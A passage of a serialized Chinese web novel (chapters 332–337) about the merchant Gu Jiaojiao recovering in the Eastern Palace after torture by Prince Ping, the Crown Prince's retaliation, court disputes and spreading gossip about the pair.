看着府里乱糟糟的一切,平王怒不可遏,只是站在院中,便用剑劈倒了好几棵树。 “他沈云祉算什么东西,竟然敢闯我平王府?放肆,放肆!” 他的身上还是疼的,可见沈云祉踢他时,是用了十成十的力。 平王身边侍卫无数,但却没有人敢说什么。 正在此时,李嬷嬷快步从不远处走来。 “说。” 平王看她欲言又止的样子,眼底闪过不耐。 李嬷嬷面露为难,但还是低声开口。 “王爷从外面找的那几个人,已经被太子教训,有的断了手,有的断了脚,没有一个全须全尾的。” 李嬷嬷停顿了一下,看了看周围,将声音又压低了几分。 “那个动鞭子的,被灌下了百虫毒,现下被丢在咱们府外。” 百虫毒,一种不会另人马上死的毒药,每日毒发三次,毒发时会如百只蚁虫在体内嘶咬,痛苦难以忍受,且此毒不可解。 此时,那个人正在平王府外哀号求救,引来不少人围观议论。 若依平王的性子,自是将这人杀了痛快,可是现在不能,他有诸多手下,杀了此人会令手下人寒心。 “派人照顾他,找个郎中减少他的痛苦。” 平王下令,也实属无奈。 “是,王爷,奴婢这便去处理。” 李嬷嬷应下后,也忙去处理那些事。 平王府一日便抬出去十几具尸体,虽然是掩人耳目,却也难免不会走漏风声。 平王不得不忍受那些议论与猜测,甚至京中的官员也都对他远离了一些。 只可惜,一波未平一波又起。 夜幕刚刚降临,京中的府尹大人便派人来到平王府前,求着要见平王。 平王将人叫入府中,才知沈云祉何其狠辣。 “府尹大人被抄家,在家中查出与王爷您的信件,还有近些年来,大人收受银钱,强买田地铺子等等,王爷,求您救救我家的大人吧。” 那人一头磕在地上,苦苦哀求。 沈云祉行动过快,下手太狠,那不到半日,那府尹便被革职下狱,他的亲属家眷一个都没有放过,还有一些与府尹关系匪浅之人,皆列入调查之列。 “你先去休息吧,容本王想想。” 平王打发了那人,可却并未想出什么结果,便让人去找了王妃。 平王妃仔细听着平王所言,却发现此局无解。 “不说我们没有办法,即使有,也不能救了。” 平王妃坐在平王身侧,面色凝重,想着他们对顾皎皎所行之事,心底也是一阵发寒。 “王妃所言何意?府尹追随本王多年,若是有机会,本王还是想试试。” 倒不是平王重情重义,而是这府尹知道他许多事,若是放手不管,怕招来麻烦。 “王爷此次与太子殿下已算是撕破脸,太子如此利落的对府尹下手,自是为了那女子报仇,若再维护这府尹,怕是难以收场。” “我还怕他不成?” “王爷,这与怕不怕无关,而是若将事情拿到明面上,只是结党这一条,太子便足以让王爷损失惨重了。” 沈云祉到底是名正言顺的当朝太子,再有一个正当的理由,自是不会手下留情。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十二章 安心养伤 东宫。 顾皎皎一直处于昏迷之中,数名太医前前后后都来诊治过,为她的伤口上了药,也为她开了方子。 药服下,并没有醒来的迹象。 沈云祉一直坐在她的身侧,拉着她的手,看着那张惨白的脸,心底涌起一股异样的情绪。 他不知自己是何时对顾皎皎动情的,只是知道,在看到她受此重伤,被人凌辱之时,他的心底涌起从未有过的心痛。 他握着顾皎皎手不自觉的紧了紧。 双剑从外面进来,似是不想打扰二人,只是站在一旁。 “怎么了?” 沈云祉的声音不大,嗓声低沉,但声音极冷。 “那府尹死了,死在狱中,查看过了,是中毒。” 双剑回道,停顿了一下后,又继续说了下去。 “还有,平王递了贴子,想要面见皇上。” 皇上近来的身体越来越差,若不是有洪甫先生的方子,怕早就不成了,如今大多的时间也都是睡着,自是见不了任何人的。 “不必理他。” 沈云祉转过头,这才注意到许久未见双瑞了。 “双瑞呢?” “回殿下,得到消息,顾姑娘身边的侍女受伤,一直在驿站等着,双瑞过去了。” 双剑也很奇怪,双瑞出宫时,天色已暗,可他还是执意前往。 沈云祉摆了摆手,示意双剑退下。 这偌大的宫殿里,所有的宫人都被打发了出去。 床榻之上,顾皎皎脸上,身上的伤都被处理过,但看上去还是那么触目惊心。 顾皎皎似是做了一场梦,梦里全身疼痛,那些粗犷恶心的手不停的伸向她,还有那些撕扯衣服的声音。 她拼命的喊救命,可是却发不出任何声音,她绝望着,也挣扎着,脑海中想到的却只有一个人。 “沈云祉。” 顾皎皎惊呼出声,也猛然睁开眼,但身上的疼痛又不免让她发出‘嘶’的一声。 “你醒了?” 一个熟悉的声音在耳边响起。 顾皎皎缓缓转头。 那是一张俊朗的脸,高挺的鼻梁如雕在他脸上一般,一双漆黑的眸子透着深邃,深不见底,薄唇微抿,给人一种紧张的感觉,额间几缕长发散落,那双眼睛里也流露出期待的光芒。 顾皎皎微微扬了扬嘴角,想抬手,却因为疼痛又缓缓放下。 “我一定是死了,所以才能看到你,不想这般清晰,也罢,能见你最后一面也是好的。” 她的声音很轻,柔和低语,少有的显现女儿家的娇态,让人心生怜惜。 “顾皎皎,是我。” 沈云祉拉着她的手,稍稍用力。 顾皎皎怔了一下,看着眼前的人,听着那熟悉的声音,她突然意识到,自己没死。 “太,太子殿下?” 她脸上的笑意瞬间散去,而是被一抹谨慎所取代。 她没有再喊他的名字。 “放心吧,太医说了,你不会有事的,只是身上的伤口有些麻烦。” 沈云祉少有这般温和的时候,一字一句皆清楚温柔,握着顾皎皎的手也从未放开半分。 顾皎皎的大脑一片混乱,她努力让自己冷静。 这是一个陌生的地方,周围算不上金碧辉煌,也差不了多少。 只这床榻之上,她所盖的被子是上好的云锦,一匹之价不下千金,她所枕的枕头也是由金线密织,床榻之上的帷账乃异国进供的月影纱,无价之宝。 再看身侧的沈云祉,他依旧是一袭月白色的衣衫,可却不再是从前的料子,如果顾皎皎没记错的话,这料子出自霓裳阁,即使是她给丝织局的价格也极为昂贵。 “这是哪里?” 她心里已经有了猜想,却还是想要确定一下。 “东宫,我的寝殿。” 当确切的从他口中说出来时,顾皎皎还是吓了一跳,她猛然起身,扯动伤口,豆大的汗珠瞬间从额间滑落。 沈云祉立即上前,将她重新按回到床榻之上。 “你伤的重,必须要好好休养。” “多谢太子殿下,只是民女身份低微,不该踏足贵地,还望太子殿下送民女出宫,民女感激不尽。” 顾皎皎是着急的。 她是何等身份?而沈云祉又是何等尊贵?她这辈子都没想过有机会入皇宫,更别说东宫乃是未来天子的住所。 “无妨,你且在这里安心养伤。” 沈云祉似是打定了主意一般。 顾皎皎是身体受伤了,不是脑子伤了,孰轻孰重,她还是分得清的。 “殿下勿怪,民女何德何能能在此处休养,还望殿下……” 顾皎皎话还未说完,沈云祉便站起身,还贴心的为她扯了扯被子。 “我这便吩咐人去给你拿些吃食,你若觉得疲累,可再睡一下。” 他似是没有听到她的话一般,唇边挂着淡淡的笑,神色却略显清冷,让人猜不出他在想什么。 他不再给顾皎皎说话的机会,转身走了出去。 顾皎皎是想起身的,但她着实伤的太重,只刚刚那两下,她的伤口便已然渗出血了,她这个样子,别说离开了,怕是连床榻都下不了。 顾皎皎并没有吃什么,只是迷迷糊糊间便又睡着了。 而此时,沈云祉还站在寝殿下的外间。 “殿下,此次事件,以平王的性子不会善罢甘休,殿下打算如何做?” 双剑低声询问,如今是暗夜,待太阳升起时,怕是人尽皆知了。 “此事不会有什么结果,自然也不用做什么。” 沈云祉的目光都冷了下来,双手背在身后,整个人更显挺拔。 “殿下说得是,只是晚膳时云南王又派人来询问,说是若殿下闲下来,便过去一同下棋。” “父亲知道了?” 沈云祉侧目询问,眉头微皱。 “应该是不知晓,我们入宫是瞒着所有人的,想来云南王只是想与殿下商讨朝政之事。” 双剑猜测着。 沈云祉放心不少,抬眼看了看外面。 “那便好,我得空就去,退下吧,明日没有我的命令,不得有人来打扰。” 说完,他便头也不回的返回内室。 双剑看着沈云祉的背影,面色凝重。 他是个沉稳的,也知他家太子向来不曾像今日这般失了分寸,只是不知,会不会留下隐患。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十三章 我听不懂 顾皎皎再次醒来时,已经是第二日。 房间里空无一人,她强忍着身上的疼痛,缓缓起身,倚靠在床榻边。 昨日醒来时,她大脑混乱,一时分不清状况,而现下她才想通许多问题。 她低下头看着自己的手臂上的伤,虽然由纱布包着,却还能因为血迹看出那些鞭子留下的印迹。 皮鞭加盐水,平王是狠毒的,他在行刑时,想必也没有打算让顾皎皎活着回去。 “醒了。” 沈云祉的声音突然响起。 顾皎皎抬头,却不知他是何时走过来的,此时,沈云祉的手中还端着一碗粥。 “你昨天没吃东西,想必是饿了,喝点粥。” 他走过来,理所当然的坐在床榻边,修长的手指轻轻搅动着那碗白粥。 一阵香气扑来,顾皎皎的肚子咕咕叫,她没有告诉沈云祉,她不是昨日没有吃东西,而是自被带入平王府,她就没吃,没喝。 “昨日神情恍忽,未来得及跟殿下道谢,民女在此谢过。” 顾皎皎轻声开口,抬眼看着他。 沈云祉低垂着眼眸,轻轻吹着那滚烫的白粥,眼底看不出什么神色,却可以看到他眼中布满的红血丝。 他是一夜未睡吗? 是为了陪她? “平王为何设计抓你?” 沈云祉抬起眼帘,询问着时,也将一小勺白粥送到顾皎唇边。 顾皎皎本想伸手去拿,他却躲了躲,她也只好接受被他这般喂着。 “平王想要民女做证,证明殿下与外敌勾结,欲对国家不利。” 至于为何会选上她,他们二人彼此心知肚明。 “你没同意?” 沈云祉一勺一勺的喂着她,他也是许久没有见哪个人,可以将一碗简单的白粥吃的这般香甜。 “左右都是一死,不如死的问心无愧些。” 顾皎皎扯动了下嘴角,只是脸还肿着,一笑就疼。 沈云祉也不自觉的笑了笑,但心底那股怒火再次涌起。 她受如此重的伤竟是为了他,她一介女子,忍受屈辱,承受疼痛,却都未松口,她越是这样,就会让沈云越痛恨平王。 “殿下,是如何得知我在平王府的?” 这个问题顾皎皎早就想问了,想来此时应该是合适的。 一碗粥已经吃完,沈云祉将碗放在一旁,还将自己的手帕递给顾皎皎。 “说起此事,我也正想问问你,在皇宫里留眼线,是活腻了吧?” 沈云祉挑了挑眉毛,饶有兴趣的打量着她。 顾皎皎一怔,又不禁勉强的扯动嘴角。 “殿下在说什么,我听不懂。” “王吉。” 听到这个名字顾皎皎整个人都僵住了。 想来也是,她被平王带走,这整个京城怕都没有人敢救,莺儿与王吉能想到的人,怕也只有沈云祉。 他们为了救她,也不得不暴露身份。 “也,也不算是眼线吧,王吉在外围做一些生意,大抵是与宫中的宫女啊,公公啊相识,对,相识,此次正好派上用场。” 顾皎皎说话的时候,眼珠滴溜溜的乱转着,就是不敢看沈云祉。 “是为了监视我?” “当然不是。” 顾皎皎瞪着眼睛,立马否认。 “我们只在宫中留了几个人而已,都是在检蔬司,丝织局,内务府等,是因为当初想要成为皇商,所以……” 顾皎皎自知不能隐瞒,沈云祉是个极为精明的人,若是隐瞒,反倒会大事不妙。 沈云祉唇边的笑意更浓。 “自东宫建立,我派人暗中调查别人安插进来的眼线,有平王的,有宰辅的,也有一些是后宫那些妃子的,也都查的八九不离十,可你的人却一个都没有查出来。” “自然,我们不害人,也不打探私密,怎会被你查到。” 顾皎皎脱口而出,说的倒也是事实,只是在沈云祉炙热的目光下,她也不禁觉得有些心慌。 “如今呢,霓裳阁已经成为了丝织局的供货商,就不必留着那些人,日后,哦不,民女回去后,便将人撤了。” 她眨巴着一双大眼睛,眼中满是真诚,似是发誓一般。 沈云祉是意外的。 她只是一介商女,就算曾嫁入安阳候府,可在那候府里怕也学不到什么,而她不仅在生意上是奇才,更能洞察世事,勘察人心,甚至可以培植自己的势力,隐匿的极好。 她若是男子,怕也可统领一方。 “好了,都是小事,无妨,你好好休息吧。” 沈云祉说着便欲起身,衣袖却被突然拉住。 顾皎皎这个动作是出于本能,但又马上意识到自己的行为有些唐突,立即松开手。 她微低下头,掩饰着脸颊的红晕。 “民女请求殿下,送民女出宫。” “你伤势很重,宫中太医齐聚,对你伤势有益,何况我已命他们在找一些方法,确保可以祛除你身上的疤痕。” 他说着时,也瞟向她露在外面的手臂,鞭子沾着盐水留下的伤痕,不易痊愈。 “一点伤罢了,留下疤痕,有衣衫遮挡便看不到了,至于其他的伤也没什么大碍。” 可无论顾皎皎怎么说,沈云祉都不同意。 “殿下恕罪,民女此次受难,正是因为与殿下相识,若是被人知道我一介商女身处东宫,只礼法上便可置民女死地了。” 顾皎皎的语气不禁郑重了几分。 她不是年方二八的小姑娘,终是知道轻重,皇宫威严,东宫尊贵,无论是何种原因,她只要在这里就是罪过。 “受刑之时,你不曾怕死,或者说你是抱着必死的态度,怎么现在就又怕了?” 沈云祉眼中有异样的光芒闪过,让人分不清他是喜是怒。 “那不一样,当时看着是无生路可言,不想殿下仗义出手,这条命既保住了,总不好自己再送往鬼门关吧。” 顾皎皎掩藏着自己的心事,将一番话说的大义凛然。 沈云祉背在身后的手,已然紧握在一起,他凝视着眼前的女子,迎着她期盼的目光,薄唇紧抿。 一时间,这寝殿里都被冰霜所笼罩,安静下,二人的呼吸都可清晰的听见。 良久,沈云祉才似是从牙缝里挤出几个字。 “你当真要走?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十四章 下场都很惨 顾皎皎不知道自己是如何进入的皇宫,但离开时,她一身宫女的打扮,由双剑陪同,理由是沈云祉命他们出宫采买。 说起来,这样的理由并不算充分,可众人都知道太子殿下是个古怪的人,又有双剑在,自不会引起怀疑。 顾皎皎坐在马车里,哪怕车子已经很是缓慢,但每走一步,她的身体还是隐隐作痛。 离开前,她回答了沈云祉的问题,她要出宫。 那时,沈云祉的脸上似是挂着一层薄雾,像怒气,又像是不甘,总之,这一次见面,她觉得这位太子殿下有些怪怪的。 马车停在顾府前。 莺儿从院子里跑了出来,看到顾皎皎的样子,眼泪便像断了线的珠子一样落下来。 “这群畜牲,怎可如此对姑娘?” “都怪奴婢,怪奴婢救姑娘晚了。” “姑娘疼不疼?” 莺儿哭的上气不接下气,小嘴巴却都没有停过,明明她自己也受了伤,额头上还缠着纱布。 “顾姑娘伤的不轻,不如先扶姑娘回去休息。” 说话的是双瑞,这两日他一直留在顾府,还为莺儿请了郎中。 顾皎皎抬眼。 “多谢双瑞,双剑两位公子,此次的事实在是叨扰二位了,待我伤好,定重礼相谢。” 双瑞和双剑皆是一怔,已经许多年了吧,无人称呼他们为公子。 “顾姑娘言重了。” 二人几乎是异口同声的说道,随后便找了借口离开了。 顾皎皎此次回来,还带了许多药材,倒不是她顺人家皇宫里的东西,而是那些太医所开的药方,沈云祉硬塞给她的。 “姑娘受苦了,这满身的伤,平王就是个畜牲,我明日便传信,让王吉杀了她。” 莺儿伏在顾皎皎的床榻前,一边帮她上药,一边哭梨花带雨。 顾皎皎趴在床上,歪着头看着莺儿,嘴角含笑。 “莫要将你鼻涕眼泪滴到我的药中。” “都什么时候了,姑娘还有心情开玩笑,从小到大,即使是安阳候府也不曾受过这么重的伤。” 莺儿噘着嘴说道。 那些药涂在伤口上时,会有刺痛感传来,但顾皎皎未吭声,与她之前所受的痛,现在已经好多了。 “莺儿,你跟我说说我被抓之后的事吧,太子殿下怎么就来了?” 她疑惑至今,在皇宫里她自然是不敢问沈云祉的。 “当时奴婢急坏了,只好动用了王吉,我们甚至都想过集结我们的人硬闯王府的,最后又怕时间来不及。” 莺儿说着他们做的这些事,自也提到了沈云祉。 王吉在宫中安插的人并不多,也都并不是靠近权利中心的人,他只得传信,让一个宫女冒闯东宫。 好在,那宫女在东宫门前遇到了双瑞,倒是免了责罚。 “王吉当时也没有想到太子殿下会那般快的出宫,但因为不知道平王将您关在哪里了,便派人探查了一番才行动。” 莺儿说着时,似是又想到什么,突然继续说道。 “我听双瑞说,太子殿下闯入平王府时,一人一剑,将挡在地牢门前的侍卫全杀了,连双瑞都不曾见过太子殿下那般发疯呢。” 顾皎皎听着这这些,思绪已然飘的很远了。 她被抓进平王府也不过一夜半日的功夫,沈云祉没有动用大量人马,只凭自己与亲卫便闯入王府,只这份不顾一切,怕也只有他了吧。 “双瑞还说,太子殿下不顾他们的阻拦,执意将你带入宫中,一直守着你,姑娘在昏迷中还喊着殿下的名字呢。” 莺儿轻叹了口气,她自是知道顾皎皎心意的,此次事后,她也知沈云祉或许有情,只可惜,身份悬殊,他们终究是有缘无分。 “后来呢?” 顾皎皎还想知道些什么,也是想证明什么。 “没有后来了,后来双瑞就出宫了嘛,他怕我被平王报复,后面的事他也不知道了,但那些对姑娘动手的人,下场都很惨。” 断手断脚,加上百虫毒这种阴损的法子,可见,沈云祉是愤怒的。 顾皎皎在心底暗暗的沉下一口气,心头的喜悦,让她知道,她不是感激赏沈云祉,而是有一个人可以护着她,可以不计后果的护着她。 “姑娘,药涂好了。” 莺儿说着,也扶顾皎皎坐起身,而后又轻声开口。 “姑娘你的伤口挺深的,太子殿下的药虽然好,可这些伤怕是要留疤的,姑娘的身体上遍布这些伤痕……” 莺儿说着便又觉得一阵心疼,泪水在眼眶中打转。 “无妨,一些疤痕而已。” 顾皎皎并不在意,女子在意容貌,在意身体,大多是因为男子在意,而她此生怕也不会再遇良缘,便也无需在意这些。 “那不可,姑娘倾城容颜,身上自然是不能留下一点瑕疵的,明日,明日我便去找洪甫先生,他定是有办法的。” 莺儿无比笃定的说道。 顾皎皎只是笑笑,没有说话,她对自己的伤并未放在心上,经历了那场劫难,她还活着便也算难得了。 劫后余生,她的日子却也并没有好过多少。 皇宫。 沈云祉收下了平王的入宫贴。 平王进入皇上的宫殿,但看到的却不是皇上,而是沈云祉。 沈云祉斜倚在高高在上的座椅上,嘴角噙着笑,那双好看的眸子里是得意,是嘲讽,是对平王的不屑。 “沈云祉,你好大的胆子,你只是太子竟然代替皇上收折子,还敢坐在皇上的位置上,你这是大不敬,是谋逆。” 平王站在下面,大吼出声,一副恨不得将所有的罪名都扣在沈云祉的头上的样子。 沈云祉看着他震惊,看着他又不能奈何,他嘴角的笑意便更浓。 “王福。” 他低声开口。 王福立即上前,打开了一份圣旨念了出来。 “朕卧病期间,任何事都交由太子主理,不必上报。” 只这简短的几句话,便足以道明沈云祉在这里的原因。 “平王叔两日来递了五封折子,欲进宫见驾,如今进来了,不妨说说,到底出了何事?” 沈云祉明知故问,言语也略带嘲弄,他是故意的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十五章 何来怪罪 平王自然是来告状的,他要状告沈云祉硬闯平王府,杀人放火,还对他大打出手。 当然,这些话是要说给皇上听,让皇上替他做主的,可现在他连皇上的面都见不到。 “本王不欲与你说话,待皇上何时醒了,我要面见君王。” 平王双手背在身后,高昂着头,一副不肯罢休的模样。 “那平王叔便等着吧,皇上说了,一应事务皆由我处理,平王叔就算等个三年五载,见到的人也是我。” 沈云祉起身,拂动了一下长袍,缓步走了下来。 “平王叔好歹也是王室后嗣,自小接受的教导也是行得端,走得正,如今为了达到目的,不惜用如此下三滥的手段,当真让人刮目相看。” 沈云祉的声音极具穿透力,在这大殿之中回响,嘲讽之意越发明显。 “本王也不知,堂堂太子竟会为了一介商女在王府大开杀戒。” 平王不甘示弱。 “吾乃太子,未来君主,定当爱民如子,有人仗势欺人,自是好好教训一番,怪只怪平王叔运气不好,正好被我撞到。” “你分明就是对那女子别有用心,本王倒不信了,你远在东宫还能宫外之事了如指掌?待本王出宫后,也定要查查那女子,是否蓄意勾引。” 平王的嘴角袭上一抹邪恶,试图激怒沈云祉。 “平王叔尽管去,但我话放在这里,顾皎皎若是出事,我会平了平王府。” 沈云祉说的云淡风轻,那双好看的眼睛里闪烁着狠辣的光芒。 “你敢!” “我敢不敢平王叔试试不就知道了吗?” 沈云祉冷冷的睨了他一眼,转身走回到椅子边坐下。 四目相对,丝毫不需要掩饰彼此的愤恨,剑拔弩张,似是下一刻便会出现打斗的场面。 平王败下阵来,冷哼一声,拂袖而去。 沈云祉看着他的背影,目光更冷了几分。 “殿下,平王勾结府尹,只这一条便可定罪,是否需要属下去安排?” 双瑞从一旁上前,低声询问。 “不需要。” 也不是不需要,而是不能。 沈云祉曾答应皇上,若无谋逆,饶平王一命。 这朝堂之上,结党营私,暗中勾结的官员朝臣不在少数,若以此项罪名治平王,以他那无赖的本事,自是会牵扯更多人,到时不好收场。 双瑞轻叹了口气。 “只是可怜了顾姑娘,无缘无故的受了这等委屈,身份悬殊,怕也只能作罢了。” “双瑞,你近来的话是越来越多了,很闲?” 沈云祉侧目,盯着双瑞。 双瑞勉强的扯了扯嘴角,还悄悄的后退了两步。 “不,不是,哎呀,属下想起来,今日还未去拿奏折,属下先行告退。” 自从顾皎皎离开后,沈云祉这脾气就变得古怪起来。 他从未再提过顾皎皎,甚至没有询问她的伤势如何,就好像那人不曾来过东宫一般,但是对于伤过顾皎皎的那些人,他未曾手软。 到底是太子的身份,一时间处置了那么多人,还包括京中的府尹,这自然也会引起朝臣们议论,一些大臣也借此机会,在朝堂之上谏言。 有人说沈云祉太过霸道,也有人说此事处置的太过严重,甚至还有人提及,太子如此行事,臣民不服,还需要皇上出面主持公道。 首辅听着这些,面露凝重之色,他没有开口帮沈云祉说话,而如那些朝臣一般,等待着沈云祉的答案。 沈云祉坐在高位之上,看着百官激昂。 这便是人心。 冬日已至,边关苦寒,将士们缺衣少食,边关百姓经历雪灾,这个消息半月前就已经报上朝廷,可却无人在朝堂之上讨论。 现在呢?因为本就是证据确凿,贪官污吏之事,却争论个没完。 “殿下,府尹到底是一方父母官,虽然有些证据证明他与人勾结,可是到底也是罪不致死,人还未审讯便死在牢里,总有不妥。” 一位大臣的声音洪亮,好似他自己说的很有理的模样。 沈云祉的忍耐也到达了极限,他在椅子上起身,抬手指了指刚刚说话的那大臣。 “说的好,仵作已验尸,府尹是中毒而亡,就算有再大的罪也不该就这样死了,你,接下来就由你调查那府尹中毒之事,不限时间,不限结果,有线索就好。” 沈云祉的话音落下之时,整个朝堂都安静下来,众人面面相觑,也人人自危。 “殿,殿下,臣并非属于吏部,不擅于查案,臣……” “不,你擅长,根据律法,结党营私,贪财渎职乃是死罪,这府尹的罪证摆在眼前,你还替他鸣冤,想来他定是有冤屈的,你仗义执言,若是能帮他沉冤得雪,本太子也好当众认错。” 沈云祉冷眼扫过众人,最后将目光落到那位大臣身上。 大臣的脸色骤变,慌乱之余,也意识到沈云祉并非是玩笑之言。 “太子殿下恕罪,臣只是,只是有感而发,并未为罪臣开脱,还请殿下明鉴。” “本太子已然明鉴,既下了旨意,便不会收回,其他大人也是,若觉得此事不妥,可与这位大臣一同调查,递个折子说一声就行。” 沈云祉居高临下,每一个字都让他们听的清楚,只是与刚刚不同,那些大义凛然的大臣们却无一人开口。 地上的人在求饶,在辩解,在承认自己的错误,而沈云祉却已然下令退朝,他从不觉得认错就可以解决所有问题。 退朝后,首辅大人并未离开,而是与沈云祉同行,去了东宫。 “听闻首辅大人近来偶感风寒,我抽不开身,没有去看望大人,现在可好多了?” 沈云祉客套着。 “年纪大了,总是有这样那样的毛病,太子殿下赏赐了风寒药,臣服用了,现下已好了许多,臣也愧疚,不曾想几日未上朝,便发生这等大事,是老臣疏忽了。” “大人何出此言?朝堂之事瞬息万变,怎会事事如人所料,大人助我良多,只有感激,何来怪罪?” 现如今,沈云祉说这种话,也算是信手拈来了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十六章 高不可攀 首辅浅尝着沈云祉的茶,称赞着这茶极好。 沈云祉只是笑笑,并未说这茶来自于顾皎皎。 “老臣人虽在病中,却也略有耳闻,太子殿下闯了平王府,听闻还是为了一个女子?” 首辅微低着头,似只是随口一说而已。 沈云祉眸子微动,神色却未变。 “果然什么也瞒不了首辅大人,确实是,出宫之时正巧碰到平王作恶多端,就顺手管了件闲事。” “顺手?殿下,此时朝堂之上本就人心不安,殿下顺手就闯了平王府,这传出去可对殿下无益。” 首辅倒是没有表现的太激动,似只是劝说一般。 沈云祉却只是淡然一笑。 “首辅大人多虑了,就算我不做什么,以平王的本事,也不会让我天下太平,倒是与闯不闯府无关。” “殿下,人言可畏,而且臣也听闻,殿下与那女子早就相识,殿下与老臣孙女尚有婚约,若此事传出,只怕影响皇室与首辅府的声誉。” 今日,首辅是有备而来,他所说的那些自然不是听闻,而是切切实实的查证过的,如此一来,沈云祉倒也可以明说些什么。 “首辅大人怕人言吗?前些时日,让人传出我与顾皎皎关系匪浅,此事恰巧被平王得知,才有了后来的事,我还以为,首辅大人是为了帮我找平王的罪证呢。” 沈云祉的笑那般灿烂,所说的每一个字,都让首辅为之一震。 首辅曾说过,沈云祉并非简单之人,所得位置也绝非偶然,但他不曾想,他还是低估了沈云祉。 “殿下所言正是,本想找些平王的罪证,却不想他如此狠毒,竟对一个弱女子下手。” “是啊,那顾皎皎与本殿下相识,却受无妄之灾,于情于理也得救一下,总不能让人说,我这个太子为得权位,不择手段吧。” “殿下思虑周全,是老臣考虑不周了,那平王,殿下如何应对?” “不需要应对,我答应皇上不会过于为难于他,惩治了那些为虎作伥之人,便也算了。” 沈云祉心有城府,早就有应对,而在此之前,哪怕是在朝堂之上,他都没有被别人看出一丝一毫。 首辅又客套了几句,便找个借口离开了。 沈云祉送他到东宫门口,还赐了软轿,目送他离开。 “你现在最大的助力便是首辅,说话做事要有分寸。” 云南王不知何时站到了沈云祉的身后,话语间也听得出,他听到了刚刚二人的对话。 沈云祉并不意外,也没有回头,目视前方。 “父王都听到了,我只是顺意而为,并非刻意。” 他的声音都冷了几分。 顾皎皎受此重伤,他自是会调查的,平王无缘无故找上顾皎皎,定有前因,查到了孙协兆,便能查到透露消息的人,自然也就查到了首辅。 首辅的用意不言而喻,自是为了他的孙女,沈云祉也没有打算撕破脸。 “你骗得了别人,却骗不了我,为那女子,你已不只一次失了分寸,你莫要忘了你的身份。” 云南王的语气极为郑重。 身份。 沈云祉为了这太子的身份,也算是费尽尽力,而如今,让他无法面对的,偏偏就是这身份。 “父王安心就是,我答应的婚事,不会变卦。” 沈云祉转身向宫里走去。 对于云南王所提的顾皎皎,他没有承认,也没有否认,只是说了自己的承诺。 云南忍不住轻声叹气,那女子终将会成为一个大麻烦。 太子殿下为救顾皎皎闯平王府。 这个消息突然就传遍了京城的大街小巷。 没有杀人,没有处罚,只是说沈云祉去平王府接回顾皎皎,还与平王闹了矛盾,没有前因,没有后果,好像只是一个闲闻逸趣。 “难不成以前说太子殿下与顾掌柜之间过从亲密,竟是真的?” “是真是假谁能知道,可是太子竟然为了顾皎皎闯王府,这可假不了。” “那顾皎皎长的跟朵花儿似的,再会此狐媚手段,想必是将太子殿下迷住了。” “她也该认清自己的身份才是,本就是商户之女,又曾许配人家,别说入宫,就是宫外的外室,她也配不上吧。” …… 顾皎皎依旧在顾府养伤,莺儿便将听来的这些一五一十的说给她听。 “姑娘明明就是因为太子才会受此重伤,那些人什么都不知道,竟然还能说出这种话,实在过分。” “我们姑娘是全天下最好的姑娘,就算是太子的外室,通房,我们通通都看不上。” “姑娘,我明日便让王吉去传消息,将事情的真相说明。” 莺儿气愤不已,不停的说着,丝毫都没有注意到顾皎皎的思绪已经飘得很远。 那些人说的没错,她的身份是肉眼可见的低微,别说皇宫里的太子,就是宫外的为官之人的妾室的位置,她也够不上。 商户之女,只这四个字,当年就让她在安阳候府受尽屈辱,何况现在她还多了一层弃妇的身份。 说来也是可笑,她本以为她此生再无倾慕之心,却不想这心思不受控制的偏向了一个男子,而这男子又偏偏身份高不可攀。 “姑娘?姑娘?” 莺儿轻唤着顾皎皎,伸手在她眼前晃了晃。 顾皎皎回过神,微微扯动了下嘴角。 “不必传什么消息,没有人会听解释,而且,这消息是有人故意放出来的,定是做了万全准备,不必费时费力了。” 流言便是这般,最管不住的就是人的嘴,何况那流言里多半都是真的。 “有人故意传出?是平王,定是平王。” 莺儿恶狠狠的说道。 顾皎皎却摇了摇头。 “最不可能做此事的便是平王,他勾结府尹,诬陷于我,又将我私自押入府中,这种事是不能公之于众的,他自也不愿有人提到此事。” 所以,不是平王,不是沈云祉,传消息的另有其人。 权位之争的这趟浑水也是越来越混了,暗藏杀机,步步为营,可这些还只是针对顾皎皎,那沈云祉呢? 他身位权位之心,想来所遭受的暗算也不只一星半点。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十七章 无甚关系 第一楼重新开业,生意一如从前坐无虚席。 顾皎皎的伤还未好,生意上的事她全权交由那铺子里的人负责,也幸好此次的事并未影响霓裳阁,一应事务都还照旧。 流言极盛,顾皎皎的过往也开始被人明目张胆的拿出来玩笑,似乎只要与沈云祉沾边,顾皎皎便成为了那个攀附权贵,心术不正之人。 但此次不同,沈云祉做出如此大的牺牲,也自会被人诟病。 沉迷女色,不敬长辈,不顾皇室颜面等等的言语也相继流传。 顾皎皎还是听到了这些。 沈云祉救她于危难,而她也自知身份,便再次将心底的那份情谊隐藏,想来只有远离才会更好些。 双瑞来到顾府送药。 那些治疗伤势的药皆用于最好的药材,怕也只有宫中才可寻到。 “这里还有一些祛除疤痕的药膏,只是太医说,怕也是效果有限。” 双瑞将所有的东西交到莺儿手上,也有一一叮嘱。 莺儿看着那药,面露难色,迟疑片刻后,她又将药还给双瑞。 “姑娘交代了,殿下救姑娘于水火,姑娘已然是叨扰,万不可再收如此贵重的东西,麻烦你向太子殿下转达我们姑娘的谢意。” 听着莺儿这一番话,双瑞在怔了许久。 自顾皎皎受伤,这不是他第一次来此送东西,却是第一次被拒绝。 “是出了什么事吗?这到底是殿下让送来的东西,顾姑娘不收?” 双瑞意外,也不解,还转头看了看不远处的那扇门,那是顾皎皎的厢房,房门紧闭,里面没有任何动静。 “未出何事,姑娘本是孑然一身,也未曾想会与殿下相识,她已然是万分幸运,但若是再收殿下东西,怕觉得她另有所图,姑娘日后还要在京城里生活,便不麻烦太子殿下了。” 莺儿所说的这番话,都是顾皎皎教的。 双瑞一脸茫然,完全听不懂她在说什么,干脆,他也不与莺儿说了。 “顾姑娘到底何意?殿下挂念姑娘伤势,日夜不安,不求其他,只求姑娘安好而已,姑娘如此行事,不是伤了殿下的心吗?” “顾姑娘,属下不知发生了何事,但殿下到底是一片心意,姑娘该心中有数才是。” “顾姑娘,顾姑娘……” 